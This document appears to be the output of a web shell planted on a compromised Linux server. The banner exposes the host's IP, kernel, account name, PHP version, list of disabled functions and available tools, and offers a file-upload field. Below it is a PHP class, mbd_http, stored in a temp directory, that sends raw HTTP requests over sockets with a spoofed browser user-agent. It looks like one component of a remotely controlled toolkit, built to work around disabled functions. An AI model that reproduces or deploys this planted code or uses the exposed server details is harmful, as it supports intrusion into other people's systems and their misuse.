| Server IP : 101.53.144.229 / Your IP : 216.73.216.181 Web Server : Apache System : Linux host.gdigitalindia.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : digitalshiksha ( 1179) PHP Version : 5.6.40 Disable Function : eval,show_source,system,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,show_source,curl_multi_exechellcmd, ini_restore,apache_get_modules,get_cfg_var,passthru, exec ,proc_get_status,fpassthru,c999_buff_prepare,c999_sess_put,c99_buff_prepare,c99_sess_put,proc_close,ini_alter,dl,symlink,link,proc_close,ini_alter,dl,symlink,link,mail MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/tmp/mbdvd0/ |
Upload File : |
<?php
class mbd_http extends mbd_core {
function __construct($core)
{
$this->core = $core;
if(isset($this->core->data->options)) $this->_o = $this->core->data->options;
}
function pget()
{
$p = isset($this->_o->post) ? $this->_o->post : FALSE;
if(isset($this->_o->headers)) $headers = $this->_o->headers;
else{
$headers = array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
);
if($p) $headers[] = 'Content-Type: application/x-www-form-urlencoded';
}
$g = parse_url($this->_o->url);
$d = '';
$s = ($g['scheme']=='https');
$h = ($p?'POST':'GET')." ".$g['path'];
if(isset($g['query'])) $h .= '?'.$g['query'];
$h .= " HTTP/1.1\r\n";
$h .= "Host: ".$g['host']."\r\n";
$h .= implode("\r\n", $headers)."\r\n";
$h .= $p ? "Content-Length: ".strlen($p)."\r\n\r\n".$p."\r\n\r\n" : "Connection: Close\r\n\r\n";
$fp = fsockopen(($s?'ssl://':'').$g['host'], $s?443:80);
if($fp) {
@fputs($fp, $h);
$r = 0;
$h = '';
while(!feof($fp))
{
$b = fgets($fp, 1024);
if($r) $d .= $b;
else $h .= $b;
if($b == "\r\n") $r = 1;
}
@fclose($fp);
$this->core->data->header = $h;
if(isset($this->_o->preg)) $r = preg_match_all($this->_o->preg, $d, $a)===FALSE ? FALSE : $a[1];
else $r = $d;
$this->core->data->result = $r;
return;
}
$this->core->out('request error');
}
}